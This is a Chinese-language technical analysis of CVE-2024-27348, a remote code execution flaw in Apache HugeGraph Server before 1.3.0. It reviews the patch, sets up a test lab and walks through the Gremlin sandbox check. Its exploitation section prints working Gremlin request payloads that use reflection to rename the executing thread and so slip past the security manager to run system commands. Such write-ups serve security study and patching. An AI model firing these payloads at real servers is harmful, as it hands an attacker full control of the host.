CVE-2024-27348 – 介绍
CVE-2024-27348 是一个远程代码执行 (RCE) 漏洞,存在于 1.3.0 之前版本的 Apache HugeGraph Server 中。攻击者可以绕过沙盒限制,通过 Gremlin 实现 RCE,从而完全控制服务器。该 CVE 在 CVSS 基本量表 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 上得分为 9.8。
HugeGraph是什么?
HugeGraph 是一个功能强大的开源图形数据库,旨在以高性能处理大规模图形数据和复杂的图形查询。HugeGraph由百度团队开发,支持Gremlin、Cypher、SPARQL等多种数据模型和查询语言,可实现灵活高效的数据管理。它的起源可以追溯到百度需要一个可扩展且高效的图形数据库解决方案来支持自己的应用程序。
认识到现有图形数据库在处理海量数据集和复杂查询方面的局限性,百度的工程师着手开发一种可以满足这些需求的新系统。该项目最终开源,使全球开发者社区能够为其开发做出贡献并从其功能中受益。自发布以来,HugeGraph 因其性能、灵活性和全面的功能集而备受关注,确立了自己在图数据库领域的重要地位。
补丁差异
针对该漏洞的补丁可以在这里找到,总之这个补丁里有太多的改动和提交,重要的有以下几点:
LoginAPI.java
在LoginAPI.java中,我们可以看到增强授权/授权过程的更改,通过添加允许方法接受 HTTP 授权标头的注释@HeaderParam通过调用注销方法时需要授权令牌来增强安全性。并且还确保授权令牌不为空或为空,从而提供额外的验证层。并且还应用相同的方法来验证令牌。
HugeFactoryAuthProxy.java
HugeFactoryAuthProxy.java i 中最重要的变化是他们添加了一个新函数 filterCriticalSystemClasses 来过滤关键系统类。这表示该漏洞是由于未过滤的类而发生的。
HugeSecurityManager.java
这也有很多变化。让我们来看看那些对我们来说有趣和重要的。
新添加的方法 checkMemberAccess 检查是否从 Gremlin 上下文调用成员访问操作,例如访问类的字段或方法。如果是这样,它将引发 SecurityException 以阻止该操作。
另一个新增的功能是 optionalMethodsToFilter 方法,它有大量注释代码来注册要过滤掉的敏感类的某些字段和方法,防止对敏感类的字段和方法进行未经授权的反射访问。
这表明 HugeGraph 没有过滤或没有充分过滤反射。
测试环境
对于测试实验室,我们将使用 1.0.0 版。我们可以从这里下载编译后的二进制文件。下载后,我们转到bin文件夹并点击以下命令启动服务器:
./start-hugegraph.sh
如果你遇到任何问题,我们可以使用 docker 来运行它,如下图所示:
-
拉取 docker 镜像:
docker pull hugegraph/hugegraph:1.0.0
-
run HugeGraph-Server
docker run -itd –name=HGserver -p 8080:8080 hugegraph/hugegraph:1.0.0
docker run -itd –name=HGserver -p 8080:8080 hugegraph/hugegraph:1.0.0
检查服务器:
对服务器的 GET 请求
curl http://localhost:8080/ -X GET
输出:
{“service”:“hugegraph”,“version”:“1.0.0”,“doc”:“https://hugegraph.github.io/hugegraph-doc/”,“api_doc”:“https://hugegraph.github.io/hugegraph-doc/clients/hugegraph-api.html”,“apis”:[“auth”,“filter”,“graph”,“gremlin”,“job”,“metrics”,“profile”,“raft”,“resources”,“schema”,“traversers”,“variables”]}
一旦我们的服务器启动,我们就可以继续分析了。
分析
在 github 上对 CVE-2024-27348 的描述中,它说它是 Gremlin 中的命令执行。那么什么是小精灵?
Gremlin
Gremlin 是 Apache TinkerPop 项目不可或缺的一种通用图遍历语言,可在一系列图数据库和计算框架中实现高效且富有表现力的图查询和分析。Gremlin 端点可以在 HugeGraph 的 /gremlin 下找到。在 HugeGraph 的文档中,我们可以找到如何发送和执行 gremlin 命令:
-
解释请求正文:
{
"gremlin": "hugegraph.traversal().V('1:marko')",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
-
“gremlin”:要执行的 Gremlin 查询。
-
“bindings”:用于传递可在 Gremlin 查询中引用的参数或绑定。
-
“language”:指定 Gremlin 查询的脚本语言。
-
“aliases”:允许对图形和遍历源名称进行别名。
服务器初始化
在继续之前,让我们检查一下HugeGraph Server是如何初始化和启动的。这通过org/apache/hugegraph/dist/HugeGraphServer.class发生:
public HugeGraphServer(String gremlinServerConf, String restServerConf) throws Exception {
SecurityManager securityManager = System.getSecurityManager();
System.setSecurityManager((SecurityManager)null);
ConfigUtil.checkGremlinConfig(gremlinServerConf);
HugeConfig restServerConfig = new HugeConfig(restServerConf);
String graphsDir = (String)restServerConfig.get(ServerOptions.GRAPHS);
EventHub hub = new EventHub("gremlin=>hub<=rest");
try {
this.restServer = HugeRestServer.start(restServerConf, hub);
} catch (Throwable var17) {
LOG.error("HugeRestServer start error: ", var17);
throw var17;
}
try {
this.gremlinServer = HugeGremlinServer.start(gremlinServerConf, graphsDir, hub);
} catch (Throwable var15) {
LOG.error("HugeGremlinServer start error: ", var15);
try {
this.restServer.shutdown().get();
} catch (Throwable var14) {
LOG.error("HugeRestServer stop error: ", var14);
}
throw var15;
} finally {
System.setSecurityManager(securityManager);
}
}
HugeGraphServer 类通过设置 Gremlin 和 REST 服务器来初始化服务器。配置通过 gremlinServerConf 和 restServerConf 加载。然后,暂时禁用 SecurityManager 以绕过可能阻止配置和启动过程的安全限制。之后,使用 ConfigUtil.check GremlinConfig 验证 Gremlin 服务器配置,并将 REST 服务器配置加载到 restServer 对象中。然后创建一个 EventHub 以促进 Gremlin 和 REST 服务器之间的通信。首先启动 REST 服务器,然后启动 Gremlin 服务器。最后,恢复原始 SecurityManager 以重新启用安全检查。
脚本执行
现在,正如我们通过初始化所看到的,SecurityManager 已启用,它对 Gremlin 设置限制和安全检查。Gremlin 脚本在 GremlinGroovyScriptEngine 类下执行,您可以在此处找到代码的完整文档。当我们浏览类时,我们可以总结以下执行它的过程:
使用 compile 方法提交脚本进行编译时,引擎会创建 CompilerConfiguration 并通过 addCompilationCustomizers 添加必要的自定义项。然后,使用此配置实例化 GremlinGroovyClassLoader 以编译脚本。使用 eval 方法完成的脚本执行。引擎首先检查脚本是否使用 isCached 缓存。如果没有,它使用 parseClass 编译脚本并使用 put 缓存它。
之后,引擎使用 getBindings 从 ScriptContext 检索绑定,并使用 createBinding 准备执行上下文。使用 invokeFunction 调用函数时,引擎使用 invokeImpl 调用该方法,如果未找到该方法,则使用 callGlobal 回退到全局函数。引擎可以通过 reset 重置,这会通过 internalReset 和 clearBindings 清除类加载器和绑定。
现在,如果我们通过 Gremlin 发送执行系统命令的请求,则使用 Runtime 如下所示:
{
"gremlin": "Runtime runtime = Runtime.getRuntime(); runtime.exec('ls');",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
我们将收到以下异常作为响应:
{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}
正如我们注意到的,我们收到了一个 SecurityException,这是由于 SecurityManger。如果我们通过 HugeGraph 中的 SecurityManger 类位于 HugeSecurityManager 中,它是从原始的 java SecurityManger 扩展而来的。
HugeSecurityManager
在这里,HugeSecurityManager 类重写各种方法来实现自定义安全检查,确保拦截和阻止从 Gremlin 上下文启动的潜在危险操作。将重写 checkPermission、checkCreateClassLoader、checkExec、checkRead、checkWrite 和 checkExit 等关键方法以强制执行这些检查。该类使用类、方法和属性的集合和映射来定义允许和拒绝的操作,并确定调用堆栈的上下文以应用适当的安全规则。callFromGremlin、callFromWorkerWithClass 和 callFromMethods 等实用工具方法有助于确定请求是否源自 Gremlin 上下文。如果检测到禁止的操作,则管理器会引发 SecurityException,正如我们之前在异常中看到的那样。
当我们向下滚动类代码时,我们可以发现以下变量:
GREMLIN_EXECUTOR_CLASS = ImmutableSet.of(“org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine”);
在这里,它定义了GREMLIN_EXECUTOR_CLASS,它定义了一组允许执行 Gremlin 脚本的类。这是有道理的,因为 Gremlin 脚本是通过它执行的。在代码中,我们可以找到为我们抛出命令执行异常的检查函数:
public void checkExec(String cmd) {
if (callFromGremlin()) {
throw newSecurityException("Not allowed to execute command via Gremlin");
} else {
super.checkExec(cmd);
}
}
It defines a condition to throw the exception, If the callFromGremlin returns true, then we enter this function:
private static boolean callFromGremlin() {
return callFromWorkerWithClass(GREMLIN_EXECUTOR_CLASS);
}
It calls another function W/ GREMLIN_EXECUTOR_CLASS as an argument, When we go to this function, We can see the following:
private static boolean callFromWorkerWithClass(Set<String> classes) {
Thread curThread = Thread.currentThread();
if (curThread.getName().startsWith("gremlin-server-exec") || curThread.getName().startsWith("task-worker")) {
StackTraceElement[] elements = curThread.getStackTrace();
StackTraceElement[] var3 = elements;
int var4 = elements.length;
for(int var5 = 0; var5 < var4; ++var5) {
StackTraceElement element = var3[var5];
String className = element.getClassName();
if (classes.contains(className)) {
return true;
}
}
}
return false;
}
在这里,callFromWorkerWithClass 函数用于确定当前执行上下文是否源自特定的工作器类,通常与 Gremlin 服务器任务相关联。首先,它检索当前线程并检查线程的名称是以“gremlin-server-exec”还是“task-worker”开头。如果是这样,则该方法将检索当前线程的堆栈跟踪,该线程是表示调用堆栈的 StackTraceElement 对象数组。通过遍历每个堆栈跟踪元素,它提取每个帧的类名。如果类名与所提供集中的任何指定类匹配,则该方法将返回 true,指示执行上下文来自这些列入黑名单的类之一。否则,它将返回 false。
Exploitation
现在,我们了解了它如何检查我们的脚本的过程以及为什么我们得到这个异常。但是,如前所述,在补丁差异中,反射没有被过滤。因此,让我们使用它通过 ProcessBuilder 执行命令:
{
"gremlin": "Class<?> processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor<?> constructor = processBuilderClass.getConstructor(List.class);List<String> command = Arrays.asList("mkdir", "/tmp/example_directory");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
基本上,我们在这里要做的是加载 ProcessBuilder 类,然后获取 ProcessBuilder 的构造函数,该构造函数采用命令列表。之后,我们将创建命令列表,该列表将在 tmp 目录中创建一个新文件夹 SL7。然后,我们从 ProcessBuilder 类中获取“start”方法。最后,我们获取并调用 start 方法来执行命令。
-
结果:
{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}
我们仍然遇到 SecurityException,如果我们在分析过程中记得,在 callFromWorkerWithClass 中签入的唯一进程是以 gremlin-server-exec 和 task-worker 开头的进程,它们由脚本引擎在执行期间提供。因此,从本质上讲,我们可以通过更改进程的名称来绕过它。让我们更新我们的代码来做到这一点。
{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName("java.lang.Thread");java.lang.reflect.Field field = clz.getDeclaredField("name");field.setAccessible(true);field.set(thread, "SL7");Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList("mkdir", "/tmp/SecureLayer7");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}
因此,首先我们将当前线程的名称更改为 SL7。然后,加载 ProcessBuilder 类并获取 ProcessBuilder 的构造函数。之后,我们创建一个列表,其中包含创建“SecureLayer7”目录的命令。接下来,我们使用命令列表创建一个 ProcessBuilder 的新实例。最后,我们获取并调用 start 方法来执行我们的命令并创建目录。
结果:
以及来自此处的完整扫描脚本。
结论
在此分析中,我们了解了该漏洞如何允许攻击者绕过沙盒限制,并通过 Gremlin 利用 SecurityManager 中缺失的反射过滤来实现 RCE。这使我们能够访问和操作各种方法,最终使我们能够更改任务/线程名称以绕过所有安全检查。它通过过滤关键系统类并在 HugeSecurityManager 中添加新的安全检查来修补。
参考
https://hugegraph.apache.org/docs/download/download/
https://github.com/apache/incubator-hugegraph/commit/713d88d1fd9953c3c3e3f130389501910ba40e1d
https://github.com/Zeyad-Azima/CVE-2024-27348
https://tinkerpop.apache.org/javadocs/current/full/org/apache/tinkerpop/gremlin/groovy/jsr223/GremlinGroovyScriptEngine.html
https://github.com/advisories/GHSA-29rc-vq7f-x335
https://www.exploit-db.com/papers/45517
https://github.com/codeplutos/java-security-manager-bypass/tree/master/bypass-by-reflection
https://hugegraph.apache.org/docs/clients/restful-api/gremlin/
https://hub.docker.com/layers/hugegraph/hugegraph/1.0.0/images/sha256-be1f6ebf14b56d68f280a7b6b14654c4fe180412a30cea7532acc651158925f1?context=explore
Analysis of CVE-2024-2738 Apache HugeGraph
https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):CVE-2024-2738 Apache HugeGraph 分析